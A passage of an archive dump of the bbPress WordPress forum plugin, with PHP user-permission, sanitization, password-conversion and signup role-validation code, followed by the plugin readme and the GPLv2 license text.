	$user_id = bbp_get_reply_author_id( $reply_id );
	return bbp_bump_user_reply_count( $user_id, -1 );
}

/** Permissions ***************************************************************/

/**
 * Redirect if unauthorized user is attempting to edit another user
 *
 * This is hooked to 'bbp_template_redirect' and controls the conditions under
 * which a user can edit another user (or themselves.) If these conditions are
 * met, we assume a user cannot perform this task, and look for ways they can
 * earn the ability to access this template.
 *
 * @since 2.1.0 bbPress (r3605)
 */
function bbp_check_user_edit() {

	// Bail if not editing a user
	if ( ! bbp_is_single_user_edit() ) {
		return;
	}

	// Default to false
	$redirect = true;
	$user_id  = bbp_get_displayed_user_id();

	// Allow user to edit their own profile
	if ( bbp_is_user_home_edit() ) {
		$redirect = false;

	// Allow if current user can edit the displayed user
	} elseif ( current_user_can( 'edit_user', $user_id ) ) {
		$redirect = false;

	// Allow if user can manage network users, or edit-any is enabled
	} elseif ( current_user_can( 'manage_network_users' ) || apply_filters( 'enable_edit_any_user_configuration', false ) ) {
		$redirect = false;
	}

	// Allow conclusion to be overridden
	$redirect = (bool) apply_filters( 'bbp_check_user_edit', $redirect, $user_id );

	// Bail if not redirecting
	if ( false === $redirect ) {
		return;
	}

	// Filter redirect URL
	$profile_url = bbp_get_user_profile_url( $user_id );
	$redirect_to = apply_filters( 'bbp_check_user_edit_redirect_to', $profile_url, $user_id );

	// Redirect
	bbp_redirect( $redirect_to );
}

/**
 * Check if a user is blocked, or cannot spectate the forums.
 *
 * @since 2.0.0 bbPress (r2996)
 */
function bbp_forum_enforce_blocked() {

	// Bail if not logged in or keymaster
	if ( ! is_user_logged_in() || bbp_is_user_keymaster() ) {
		return;
	}

	// Set 404 if in bbPress and user cannot spectate
	if ( is_bbpress() && ! current_user_can( 'spectate' ) ) {
		bbp_set_404();
	}
}

/** Sanitization **************************************************************/

/**
 * Sanitize displayed user data, when viewing and editing any user.
 *
 * This somewhat monolithic function handles the escaping and sanitization of
 * user data for a bbPress profile. There are two reasons this all happens here:
 *
 * 1. bbPress took a similar approach to WordPress, and funnels all user profile
 *    data through a central helper. This eventually calls sanitize_user_field()
 *    which applies a few context based filters, which some third party plugins
 *    might be relying on bbPress to play nicely with.
 *
 * 2. Early versions of bbPress 2.x templates did not escape this data meaning
 *    a backwards compatible approach like this one was necessary to protect
 *    existing installations that may have custom template parts.
 *
 * @since 2.6.0 bbPress (r5368)
 *
 * @param string $value
 * @param string $field
 * @param string $context
 * @return string
 */
function bbp_sanitize_displayed_user_field( $value = '', $field = '', $context = 'display' ) {

	// Bail if not editing or displaying (maybe we'll do more here later)
	if ( ! in_array( $context, array( 'edit', 'display' ), true ) ) {
		return $value;
	}

	// By default, no filter set (consider making this an array later)
	$filter = false;

	// Big switch statement to decide which user field we're sanitizing and how
	switch ( $field ) {

		// Description is a paragraph
		case 'description' :
			$filter = ( 'edit' === $context ) ? '' : 'wp_kses_data';
			break;

		// Email addresses are sanitized with a specific function
		case 'user_email'  :
			$filter = 'sanitize_email';
			break;

		// Name & login fields
		case 'user_login'   :
		case 'display_name' :
		case 'first_name'   :
		case 'last_name'    :
		case 'nick_name'    :
			$filter = ( 'edit' === $context ) ? 'esc_attr' : 'esc_html';
			break;

		// wp-includes/default-filters.php escapes this for us via esc_url()
		case 'user_url' :
			break;
	}

	// Run any applicable filters on the value
	if ( ! empty( $filter ) ) {
		$value = call_user_func( $filter, $value );
	}

	return $value;
}

/** Converter *****************************************************************/

/**
 * Convert passwords from previous platform encryption to WordPress encryption.
 *
 * @since 2.1.0 bbPress (r3813)
 */
function bbp_user_maybe_convert_pass() {

	// Sanitize username
	$username = ! empty( $_POST['log'] )
		? sanitize_user( $_POST['log'] )
		: '';

	// Bail if no username
	if ( empty( $username ) ) {
		return;
	}

	// Bail if no user password to convert
	$bbp_db = bbp_db();
	$query  = $bbp_db->prepare( "SELECT * FROM {$bbp_db->users} INNER JOIN {$bbp_db->usermeta} ON user_id = ID WHERE meta_key = %s AND user_login = %s LIMIT 1", '_bbp_class', $username );
	$row    = $bbp_db->get_row( $query );
	if ( empty( $row ) || is_wp_error( $row ) ) {
		return;
	}

	// Setup the converter
	bbp_setup_converter();

	// Try to convert the old password for this user
	$converter = bbp_new_converter( $row->meta_value );

	// Try to call the conversion method
	if ( ( $converter instanceof BBP_Converter_Base ) && method_exists( $converter, 'callback_pass' ) ) {
		$converter->callback_pass( $username, $_POST['pwd'] );
	}
}
includes/users/signups.php000066600000014664151771460310011740 0ustar00<?php

/**
 * bbPress Signups
 *
 * This file contains functions for assisting with adding forum data to user
 * accounts during signup, account creation, and invitation.
 *
 * @package bbPress
 * @subpackage Signups
 */

// Exit if accessed directly
defined( 'ABSPATH' ) || exit;

/**
 * Output the forum-role field when adding a new user
 *
 * @since 2.6.0 bbPress (r6674)
 */
function bbp_add_user_form_role_field() {

	// Bail if current user cannot promote users
	if ( ! current_user_can( 'promote_users' ) ) {
		return;
	} ?>

	<table class="form-table">
		<tr class="form-field">
			<th scope="row"><label for="bbp-forums-role"><?php esc_html_e( 'Forum Role', 'bbpress' ); ?></label></th>
			<td><?php

				// Default user role
				$default_role  = isset( $_POST['bbp-forums-role'] )
					? sanitize_key( $_POST['bbp-forums-role'] )
					: bbp_get_default_role();

				// Get the folum roles
				$dynamic_roles = bbp_get_dynamic_roles();

				// Only keymasters can set other keymasters
				if ( ! bbp_is_user_keymaster() ) {
					unset( $dynamic_roles[ bbp_get_keymaster_role() ] );
				} ?>

				<select name="bbp-forums-role" id="bbp-forums-role">

					<?php foreach ( $dynamic_roles as $role => $details ) : ?>

						<option <?php selected( $default_role, $role ); ?> value="<?php echo esc_attr( $role ); ?>"><?php echo bbp_translate_user_role( $details['name'] ); ?></option>

					<?php endforeach; ?>

				</select>
			</td>
		</tr>
	</table>

<?php
}

/**
 * Maybe add forum role to signup meta array
 *
 * @since 2.6.0 bbPress (r6674)
 *
 * @param array $meta
 *
 * @return array
 */
function bbp_user_add_role_to_signup_meta( $meta = array() ) {

	// Bail if already added
	if ( ! empty( $meta['bbp_new_role'] ) ) {
		return $meta;
	}

	// Role to validate
	$to_validate = ! empty( $_POST['bbp-forums-role'] ) && is_string( $_POST['bbp-forums-role'] )
		? sanitize_key( $_POST['bbp-forums-role'] )
		: '';

	// Validate the signup role
	$valid_role = bbp_validate_registration_role( $to_validate );

	// Bail if errors
	if ( bbp_has_errors() ) {
		return $meta;
	}

	// Add role to meta
	$meta['bbp_new_role'] = $valid_role;

	// Return meta
	return $meta;
}

/**
 * Add forum meta data when inviting a user to a site
 *
 * @since 2.6.0 bbPress (r6674)
 *
 * @param int    $user_id     The invited user's ID.
 * @param array  $role        The role of invited user.
 * @param string $newuser_key The key of the invitation.
 */
function bbp_user_add_role_on_invite( $user_id = '', $role = '', $newuser_key = '' ) {

	// Role to validate
	$to_validate = ! empty( $_POST['bbp-forums-role'] ) && is_string( $_POST['bbp-forums-role'] )
		? sanitize_key( $_POST['bbp-forums-role'] )
		: '';

	// Validate the signup role
	$valid_role = bbp_validate_registration_role( $to_validate );

	// Bail if errors
	if ( bbp_has_errors() ) {
		return;
	}

	// Option key
	$option_key = 'new_user_' . $newuser_key;

	// Get the user option
	$user_option = get_option( $option_key, array() );

	// Add the new role
	$user_option['bbp_new_role'] = $valid_role;

	// Update the invitation
	update_option( $option_key, $user_option );
}

/**
 * Single-site handler for adding a new user
 *
 * @since 2.6.0 bbPress (r6674)
 *
 * @param int $user_id
 */
function bbp_user_add_role_on_register( $user_id = '' ) {

	// Role to validate
	$to_validate = ! empty( $_POST['bbp-forums-role'] ) && is_string( $_POST['bbp-forums-role'] )
		? sanitize_key( $_POST['bbp-forums-role'] )
		: '';

	// Validate the signup role
	$valid_role = bbp_validate_registration_role( $to_validate );

	// Bail if errors
	if ( bbp_has_errors() ) {
		return;
	}

	// Set the user role
	bbp_set_user_role( $user_id, $valid_role );
}

/**
 * Multi-site handler for adding a new user
 *
 * @since 2.6.0 bbPress (r6674)
 *
 * @param int $user_id User ID.
 */
function bbp_user_add_role_on_activate( $user_id = 0, $password = '', $meta = array() ) {

	// Role to validate
	$to_validate = ! empty( $meta['bbp_new_role'] ) && is_string( $meta['bbp_new_role'] )
		? sanitize_key( $meta['bbp_new_role'] )
		: '';

	// Validate the signup role
	$valid_role = bbp_validate_activation_role( $to_validate );

	// Bail if errors
	if ( bbp_has_errors() ) {
		return;
	}

	// Set the user role
	bbp_set_user_role( $user_id, $valid_role );
}

/** Validators ****************************************************************/

/**
 * Validate the Forum role during signup
 *
 * This helper function performs a number of generic checks, and encapsulates
 * the logic used to validate if a Forum Role is valid, typically during new
 * user registration, but also when adding an existing user to a site in
 * Multisite installations.
 *
 * @since 2.6.5
 *
 * @param string $to_validate A role ID to validate
 * @return string A valid role ID, or empty string on error
 */
function bbp_validate_signup_role( $to_validate = '' ) {

	// Default return value
	$retval = '';

	// Add error if role is empty
	if ( empty( $to_validate ) ) {
		bbp_add_error( 'bbp_signup_role_empty', __( '<strong>Error</strong>: Empty role.', 'bbpress' ) );
	}

	// Add error if posted role is not a valid role
	if ( ! bbp_is_valid_role( $to_validate ) ) {
		bbp_add_error( 'bbp_signup_role_invalid', __( '<strong>Error</strong>: Invalid role.', 'bbpress' ) );
	}

	// If no errors, set return value to the role to validate
	if ( ! bbp_has_errors() ) {
		$retval = $to_validate;
	}

	// Filter & return
	return (string) apply_filters( 'bbp_validate_signup_role', $retval, $to_validate );
}

/**
 * Validate the Forum role during the registration process
 *
 * @since 2.6.5
 *
 * @param string $to_validate A well-formed (string) role ID to validate
 * @return string A valid role ID, or empty string on error
 */
function bbp_validate_registration_role( $to_validate = '' ) {

	// Default return value
	$retval = bbp_get_default_role();

	// Conditionally handle posted values for capable users
	if ( is_admin() && current_user_can( 'create_users' ) ) {
		$retval = $to_validate;
	}

	// Validate & return
	return bbp_validate_signup_role( $retval );
}

/**
 * Validate the Forum role during activation
 *
 * This function exists simply for parity with registrations, and to maintain an
 * intentional layer of abstraction from the more generic function it uses.
 *
 * @since 2.6.5
 *
 * @param string $to_validate A well-formed (string) role ID to validate
 * @return string A valid role ID, or empty string on error
 */
function bbp_validate_activation_role( $to_validate = '' ) {

	// Validate & return
	return bbp_validate_signup_role( $to_validate );
}
index.php000066600000000072151771460310006374 0ustar00<?php

/**
 * Do not modify the files in this folder.
 */
readme.txt000066600000004761151771460310006563 0ustar00=== bbPress ===
Contributors: matt, johnjamesjacoby, jmdodd, netweb, sergeybiryukov
Tags: forum, forums, discussion, support
Tested up to: 5.6
Stable tag: 2.6.6
License: GPLv2 or later
License URI: https://www.gnu.org/licenses/gpl-2.0.html
Requires PHP: 5.6.20
Requires at least: 5.0

bbPress is forum software for WordPress.

== Description ==

Are you looking for a timeless, elegant, and streamlined discussion board? bbPress is easy to integrate, easy to use, and is built to scale with your growing community.

bbPress is intentionally simple yet infinitely powerful forum software, built by contributors to WordPress.

== Installation ==

= From your WordPress dashboard =

1. Visit 'Plugins > Add New'
2. Search for 'bbPress'
3. Activate bbPress from your Plugins page. (You will be greeted with a Welcome page.)

= From WordPress.org =

1. Download bbPress.
2. Upload the 'bbpress' directory to your '/wp-content/plugins/' directory, using your favorite method (ftp, sftp, scp, etc...)
3. Activate bbPress from your Plugins page. (You will be greeted with a Welcome page.)

= Once Activated =

1. Visit 'Forums > Add New' and create some forums. (You can always delete these later.)
2. If you have pretty permalinks enabled, visit example.com/forums/, or if you do not have pretty permalinks enabled, visit example.com?post_type=forum
3. Visit 'Settings > Forums' and configure the settings to best match the needs of your community.
4. Visit 'Tools > Forums > Import Forums' if you have an existing forum to convert to bbPress.

= Once Configured =

* bbPress comes with a robust theme-compatibility API that does its best to make bbPress look and feel right with just-about any WordPress theme. You may need to adjust some styling on your own to make everything look pristine.
* You may want to customize the register/activation/sign-in/lost-password flows, to better suit your site. bbPress comes with a bevy of shortcodes to make this possible, listed here: https://codex.bbpress.org/shortcodes/
* bbPress also comes with built-in support for Akismet and BuddyPress, two very popular and very powerful WordPress plugins. If you're using either, visit your Forum Settings page and ensure that integration appears correct.

== Screenshots ==

1. Forums - Admin Interface
2. Topics - Admin Interface
3. Replies - Admin Interface
4. Settings - Admin Interface
5. Settings 2 - Admin Interface
6. Themes - Admin Interface
7. Single Forum - Default Theme

== Changelog ==

Check out the [releases page](https://codex.bbpress.org/releases/)
license.txt000066600000035430151771460310006745 0ustar00		    GNU GENERAL PUBLIC LICENSE
		       Version 2, June 1991

 Copyright (C) 1989, 1991 Free Software Foundation, Inc.
              51 Franklin St, Fifth Floor, Boston, MA 02110, USA

 Everyone is permitted to copy and distribute verbatim copies
 of this license document, but changing it is not allowed.

			    Preamble

  The licenses for most software are designed to take away your
freedom to share and change it.  By contrast, the GNU General Public
License is intended to guarantee your freedom to share and change free
software--to make sure the software is free for all its users.  This
General Public License applies to most of the Free Software
Foundation's software and to any other program whose authors commit to
using it.  (Some other Free Software Foundation software is covered by
the GNU Library General Public License instead.)  You can apply it to
your programs, too.

  When we speak of free software, we are referring to freedom, not
price.  Our General Public Licenses are designed to make sure that you
have the freedom to distribute copies of free software (and charge for
this service if you wish), that you receive source code or can get it
if you want it, that you can change the software or use pieces of it
in new free programs; and that you know you can do these things.

  To protect your rights, we need to make restrictions that forbid
anyone to deny you these rights or to ask you to surrender the rights.
These restrictions translate to certain responsibilities for you if you
distribute copies of the software, or if you modify it.

  For example, if you distribute copies of such a program, whether
gratis or for a fee, you must give the recipients all the rights that
you have.  You must make sure that they, too, receive or can get the
source code.  And you must show them these terms so they know their
rights.

  We protect your rights with two steps: (1) copyright the software, and
(2) offer you this license which gives you legal permission to copy,
distribute and/or modify the software.

  Also, for each author's protection and ours, we want to make certain
that everyone understands that there is no warranty for this free
software.  If the software is modified by someone else and passed on, we
want its recipients to know that what they have is not the original, so
that any problems introduced by others will not reflect on the original
authors' reputations.

  Finally, any free program is threatened constantly by software
patents.  We wish to avoid the danger that redistributors of a free
program will individually obtain patent licenses, in effect making the
program proprietary.  To prevent this, we have made it clear that any
patent must be licensed for everyone's free use or not licensed at all.

  The precise terms and conditions for copying, distribution and
modification follow.

		    GNU GENERAL PUBLIC LICENSE
   TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION

  0. This License applies to any program or other work which contains
a notice placed by the copyright holder saying it may be distributed
under the terms of this General Public License.  The "Program", below,
refers to any such program or work, and a "work based on the Program"
means either the Program or any derivative work under copyright law:
that is to say, a work containing the Program or a portion of it,
either verbatim or with modifications and/or translated into another
language.  (Hereinafter, translation is included without limitation in
the term "modification".)  Each licensee is addressed as "you".

Activities other than copying, distribution and modification are not
covered by this License; they are outside its scope.  The act of
running the Program is not restricted, and the output from the Program
is covered only if its contents constitute a work based on the
Program (independent of having been made by running the Program).
Whether that is true depends on what the Program does.

  1. You may copy and distribute verbatim copies of the Program's
source code as you receive it, in any medium, provided that you
conspicuously and appropriately publish on each copy an appropriate
copyright notice and disclaimer of warranty; keep intact all the
notices that refer to this License and to the absence of any warranty;
and give any other recipients of the Program a copy of this License
along with the Program.

You may charge a fee for the physical act of transferring a copy, and
you may at your option offer warranty protection in exchange for a fee.

  2. You may modify your copy or copies of the Program or any portion
of it, thus forming a work based on the Program, and copy and
distribute such modifications or work under the terms of Section 1
above, provided that you also meet all of these conditions:

    a) You must cause the modified files to carry prominent notices
    stating that you changed the files and the date of any change.

    b) You must cause any work that you distribute or publish, that in
    whole or in part contains or is derived from the Program or any
    part thereof, to be licensed as a whole at no charge to all third
    parties under the terms of this License.

    c) If the modified program normally reads commands interactively
    when run, you must cause it, when started running for such
    interactive use in the most ordinary way, to print or display an
    announcement including an appropriate copyright notice and a
    notice that there is no warranty (or else, saying that you provide
    a warranty) and that users may redistribute the program under
    these conditions, and telling the user how to view a copy of this
    License.  (Exception: if the Program itself is interactive but
    does not normally print such an announcement, your work based on
    the Program is not required to print an announcement.)

These requirements apply to the modified work as a whole.  If
identifiable sections of that work are not derived from the Program,
and can be reasonably considered independent and separate works in
themselves, then this License, and its terms, do not apply to those
sections when you distribute them as separate works.  But when you
distribute the same sections as part of a whole which is a work based
on the Program, the distribution of the whole must be on the terms of
this License, whose permissions for other licensees extend to the
entire whole, and thus to each and every part regardless of who wrote it.
Thus, it is not the intent of this section to claim rights or contest
your rights to work written entirely by you; rather, the intent is to
exercise the right to control the distribution of derivative or
collective works based on the Program.

In addition, mere aggregation of another work not based on the Program
with the Program (or with a work based on the Program) on a volume of
a storage or distribution medium does not bring the other work under
the scope of this License.

  3. You may copy and distribute the Program (or a work based on it,
under Section 2) in object code or executable form under the terms of
Sections 1 and 2 above provided that you also do one of the following:

    a) Accompany it with the complete corresponding machine-readable
    source code, which must be distributed under the terms of Sections
    1 and 2 above on a medium customarily used for software interchange; or,

    b) Accompany it with a written offer, valid for at least three
    years, to give any third party, for a charge no more than your
    cost of physically performing source distribution, a complete
    machine-readable copy of the corresponding source code, to be
    distributed under the terms of Sections 1 and 2 above on a medium
    customarily used for software interchange; or,

    c) Accompany it with the information you received as to the offer
    to distribute corresponding source code.  (This alternative is
    allowed only for noncommercial distribution and only if you
    received the program in object code or executable form with such
    an offer, in accord with Subsection b above.)

The source code for a work means the preferred form of the work for
making modifications to it.  For an executable work, complete source
code means all the source code for all modules it contains, plus any
associated interface definition files, plus the scripts used to
control compilation and installation of the executable.  However, as a
special exception, the source code distributed need not include
anything that is normally distributed (in either source or binary
form) with the major components (compiler, kernel, and so on) of the
operating system on which the executable runs, unless that component
itself accompanies the executable.

If distribution of executable or object code is made by offering
access to copy from a designated place, then offering equivalent
access to copy the source code from the same place counts as
distribution of the source code, even though third parties are not
compelled to copy the source along with the object code.

  4. You may not copy, modify, sublicense, or distribute the Program
except as expressly provided under this License.  Any attempt
otherwise to copy, modify, sublicense or distribute the Program is
void, and will automatically terminate your rights under this License.
However, parties who have received copies, or rights, from you under
this License will not have their licenses terminated so long as such
parties remain in full compliance.

  5. You are not required to accept this License, since you have not
signed it.  However, nothing else grants you permission to modify or
distribute the Program or its derivative works.  These actions are
prohibited by law if you do not accept this License.  Therefore, by
modifying or distributing the Program (or any work based on the
Program), you indicate your acceptance of this License to do so, and
all its terms and conditions for copying, distributing or modifying
the Program or works based on it.

  6. Each time you redistribute the Program (or any work based on the
Program), the recipient automatically receives a license from the
original licensor to copy, distribute or modify the Program subject to
these terms and conditions.  You may not impose any further
restrictions on the recipients' exercise of the rights granted herein.
You are not responsible for enforcing compliance by third parties to
this License.

  7. If, as a consequence of a court judgment or allegation of patent
infringement or for any other reason (not limited to patent issues),
conditions are imposed on you (whether by court order, agreement or
otherwise) that contradict the conditions of this License, they do not
excuse you from the conditions of this License.  If you cannot
distribute so as to satisfy simultaneously your obligations under this
License and any other pertinent obligations, then as a consequence you
may not distribute the Program at all.  For example, if a patent
license would not permit royalty-free redistribution of the Program by
all those who receive copies directly or indirectly through you, then
the only way you could satisfy both it and this License would be to
refrain entirely from distribution of the Program.

If any portion of this section is held invalid or unenforceable under
any particular circumstance, the balance of the section is intended to
apply and the section as a whole is intended to apply in other
circumstances.

It is not the purpose of this section to induce you to infringe any
patents or other property right claims or to contest validity of any
such claims; this section has the sole purpose of protecting the
integrity of the free software distribution system, which is
implemented by public license practices.  Many people have made
generous contributions to the wide range of software distributed
through that system in reliance on consistent application of that
system; it is up to the author/donor to decide if he or she is willing
to distribute software through any other system and a licensee cannot
impose that choice.

This section is intended to make thoroughly clear what is believed to
be a consequence of the rest of this License.

  8. If the distribution and/or use of the Program is restricted in
certain countries either by patents or by copyrighted interfaces, the
original copyright holder who places the Program under this License
may add an explicit geographical distribution limitation excluding
those countries, so that distribution is permitted only in or among
countries not thus excluded.  In such case, this License incorporates
the limitation as if written in the body of this License.

  9. The Free Software Foundation may publish revised and/or new versions
of the General Public License from time to time.  Such new versions will
be similar in spirit to the present version, but may differ in detail to
address new problems or concerns.

Each version is given a distinguishing version number.  If the Program
specifies a version number of this License which applies to it and "any
later version", you have the option of following the terms and conditions
either of that version or of any later version published by the Free
Software Foundation.  If the Program does not specify a version number of
this License, you may choose any version ever published by the Free Software
Foundation.

  10. If you wish to incorporate parts of the Program into other free
programs whose distribution conditions are different, write to the author
to ask for permission.  For software which is copyrighted by the Free
Software Foundation, write to the Free Software Foundation; we sometimes
make exceptions for this.  Our decision will be guided by the two goals
of preserving the free status of all derivatives of our free software and
of promoting the sharing and reuse of software generally.

			    NO WARRANTY

  11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY
FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW.  EXCEPT WHEN
OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES
PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED
OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE.  THE ENTIRE RISK AS
TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU.  SHOULD THE
PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING,
REPAIR OR CORRECTION.

  12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR
REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES,
INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING
OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED
TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY
YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER
PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE
POSSIBILITY OF SUCH DAMAGES.

		     END OF TERMS AND CONDITIONS